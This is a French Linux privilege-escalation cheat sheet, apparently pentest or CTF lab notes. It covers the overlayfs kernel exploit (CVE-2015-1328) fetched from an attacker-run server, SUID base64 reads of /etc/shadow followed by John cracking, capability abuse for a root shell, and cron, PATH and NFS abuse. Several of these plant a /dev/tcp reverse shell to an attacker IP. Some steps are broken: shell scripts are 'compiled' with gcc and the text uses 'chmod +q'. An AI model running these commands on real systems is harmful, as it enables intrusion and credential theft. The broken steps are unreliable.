🤯Exploit

🔋 kernel

CVE-2015-1328 : Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

Sur la machine Attaquante

Étape 1 : Télécharger l’exploit sur exploitDB

Étape 2 : créer un serveur

python3 -m http.server 9000

Sur la machine Cible

cd /tmp                        # Aller dans le répertoire tmp
wget http://IP:port/37292.c    # Importe l'exploit
gcc 37292.c -o exploit         # Pour le compiler
./exploit                      # Pour le lancer 

---

🛠️ SUID avec le fichier base 64

Étape 1 : Identification des Fichiers avec SUID

Utilisons la commande suivante pour trouver des fichiers avec des bits SUID sur le système :

find / -type f -perm -04000 -ls 2>/dev/null

Cette commande recherche tous les fichiers (-type f) avec des bits SUID (-perm -04000) et affiche les résultats de manière détaillée (-ls). Les erreurs sont redirigées vers /dev/null.

Étape 2 : Utilisation du Fichier /usr/bin/base64

A l’aide de la commande précedente, nous observons le fichier /usr/bin/base64. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre SUID.

LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 --decode

Cette méthode recommandée sur GTFOBins utilise base64 pour lire et décoder le contenu du fichier spécifié (/etc/shadow). Nous obtenons ainsi un hash.

Étape 3 : Déchiffrement du Hash avec John

Utilisons John the Ripper pour déchiffrer le hash obtenu. Assurez-vous d'avoir le fichier wordlist approprié, par exemple /usr/share/wordlists/rockyou.txt.

nano $hash
john --wordlist=/usr/share/wordlists/rockyou.txt "$hash"
john $hash --show

Cela tente de déchiffrer le hash en utilisant une attaque par dictionnaire avec le mot de passe contenu dans rockyou.txt.

Étape 4 : Connexion avec l'Utilisateur2

Connectons-nous à l'utilisateur2 avec le mot de passe obtenu après le déchiffrement.

Étape 5 : Gestion des Permissions sur /home/ubuntu/flag3.txt

Observons que l'accès à /home/ubuntu/flag3.txt n'est pas autorisé. Utilisons base64 pour lire et décoder le contenu du fichier.

LFILE=/home/ubuntu/flag3.txt
/usr/bin/base64 "$LFILE" | base64 --decode

Ces commandes permettent de contourner les permissions en utilisant les droits SUID sur base64 pour accéder aux fichiers sensibles.

---

💡 Capabilités

Les "capacités" sont un mécanisme de sécurité qui permet à des programmes spécifiques d'exécuter des opérations restreintes généralement réservées à des processus avec des privilèges élevés (comme l'utilisateur root).

Étape 1 : Identifier les Capabilités

Utilisons la commande suivante pour identifier les capabilités associées aux fichiers du système :

getcap -r / 2>/dev/null

Cette commande recherche récursivement (-r) toutes les capabilités sur le système de fichiers à partir du répertoire racine ("/"). Les erreurs sont redirigées vers /dev/null.

La sortie pourrait ressembler à ceci :

/home/user/vim = cap_setuid+ep
/home/user/view = cap_setuid+ep

Étape 2 : Exploration avec GTFOBins

Choisissons un fichier avec des capabilités, par exemple /home/user/vim ou /home/user/view. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre de capabilités.

./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Cette commande utilise les capabilités de view pour exécuter du code Python (:py) qui définira l'UID sur 0 (root) et exécutera un shell interactif.

Étape 3 : Modification pour Python 3

Certaines versions peuvent nécessiter l'utilisation de Python 3. Modifions la commande en conséquence :

./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Cette version utilise Python 3 (:py3) pour la même tâche.

Étape 4 : Exécution de la Commande

Tapez la commande modifiée dans l'invite de commande et observez les résultats. Assurez-vous d'avoir compris chaque étape du processus et agissez toujours de manière éthique et légale lors de l'exploration des fonctionnalités de sécurité.

---

📀 Crontab

📚 Definition

Les tâches cron (crontabs) sont des procédures automatisées planifiées sur les systèmes Unix/Linux pour s'exécuter à des intervalles spécifiques. Chaque utilisateur peut avoir son propre fichier crontab, et il existe également un fichier système /etc/crontab qui contient des tâches planifiées pour les utilisateurs système.

Pour afficher les tâches cron d'un utilisateur, utilisez la commande :

crontab -l

La syntaxe générale d'une entrée crontab est la suivante :

# Minute   Heure   Jour du mois   Mois   Jour de la semaine   Commande

Par exemple, l'entrée suivante exécute une commande toutes les heures :

0 * * * * commande

📮 Privesc via Crontab

Pour afficher les tâches cron, utilisez la commande suivante :

cat /etc/crontab

Trouver des Scripts Exécutés : Vérifiez les scripts exécutés par les tâches cron. Souvent, ces scripts peuvent être modifiés pour inclure des commandes malveillantes.

Dans cette configuration, nous observons l'exécution du script /home/user/backup.sh.

Pour le modifier à l'aide d'un reverse shell, utilisez :

nano backup.sh

Puis ajoutez la ligne suivante pour établir un reverse shell :

bash -i >& /dev/tcp/IP_attaquante/port 0>&1

Pour établir un reverse shell ans un fichier :

echo "bash -i >& /dev/tcp/IP_attaquante/port 0>&1" > /etc/fichier

Appuyez sur Ctrl + X, puis sur Y, et appuyez sur Entrée pour sortir.

Accordez les droits d'exécution au fichier pour l'utilisateur :

chmod +x backup.sh

En parallèle, sur la machine attaquante, exécutez la commande suivante pour écouter les connexions entrantes :

nc -lvnp port

Ensuite, récupérez le hash d'un utilisateur à partir du fichier /etc/shadow.

cat /etc/shadow

Copiez le hash d'un utilisateur dans un fichier, puis utilisez l'outil John pour casser le mot de passe:

john hash --show

---

🔐 PATH

Dans un système Linux, la variable d'environnement PATH indique où le système doit rechercher les exécutables lorsqu'une commande est saisie. Cette vulnérabilité peut être exploitée si un dossier accessible en écriture par l'utilisateur est inclus dans le PATH.

Étapes de l'exploitation :

# Vérifier les dossiers sous $PATH
echo $PATH

# Modifier la variable $PATH
export PATH=/tmp:$PATH

# Créer un script malveillant (shell) dans /tmp
echo -e "#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1" > /tmp/shell.c

# Compiler le script en exécutable
gcc /tmp/shell.c -o /tmp/shell

# Définir le bit SUID sur le script
chmod +s /tmp/shell
# Donner des droits exécutables au script
chmod +x /tmp/shell

# Exécuter le script
cd /tmp
./shell

---

📎Montage NFS

Le NFS (Network File System) est un protocole permettant de partager des fichiers entre des systèmes UNIX via le réseau. Ce tutoriel explique comment monter un partage NFS sur un système Linux.

Étape 1: Vérifier les exports NFS sur le serveur (sur la cible)

Utilisez la commande cat pour afficher les configurations d'exports NFS sur le serveur.

cat /etc/exports

Assurez-vous que le fichier /etc/exports permet des permissions en écriture (rw) et que l'option no_root_squash est utilisée si nécessaire. Si l'option « no_root_squash » est présente sur un partage inscriptible, nous pouvons créer un exécutable avec le bit SUID défini et l'exécuter sur le système cible. Dans notre cas, le chemin contenant no_root_squash est /home/user/share.

Étape 2: Vérifier les partages NFS exposés par le serveur (sur l’attaquant)

Utilisez la commande showmount pour afficher les partages NFS exposés par le serveur.

showmount -e IP_CIBLE

Étape 3: Monter le répertoire distant localement (sur l’attaquant)

Créez un répertoire local pour monter le partage NFS.

mkdir /mnt/jrpentest

Montez le répertoire distant dans le répertoire local.

mount -o rw IP_serveur_NFS:/home/ubuntu/sharedfolder /mnt/jrpentest

Étape 4: Vérifier les permissions du répertoire monté

# sur l'attaquant
ls -la /mnt/jrpentest

# sur la cible
ls -la  /home/user/share

Étape 5: Créer un fichier malveillant dans le répertoire monté

Si les fichiers sur le serveur ont des permissions en écriture (rw) et que no_root_squash est utilisé, vous pouvez créer un fichier malveillant dans le répertoire monté.

cd mnt/jrpentest
nano code.c

"#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1"

# compiler
gcc code.c -o code

Normalement, le code généré ici est partagé sur la cible dans le dossier /home/user/share.

Étape 6: Donner des droits exécutables au script

Si nécessaire, donnez des droits exécutables au script.

# sur l'attaquant
cd /mnt/jrpentest/
chmod +x code
chmod +q code

# sur la cible
cd /home/user/share
chmod +x code

Étape 7: Exécuter le script à distance en utilisant le chemin NFS (sur la cible)

Vous pouvez maintenant exécuter le script à distance à partir du serveur NFS en utilisant le chemin NFS.

cd /home/user/share

./code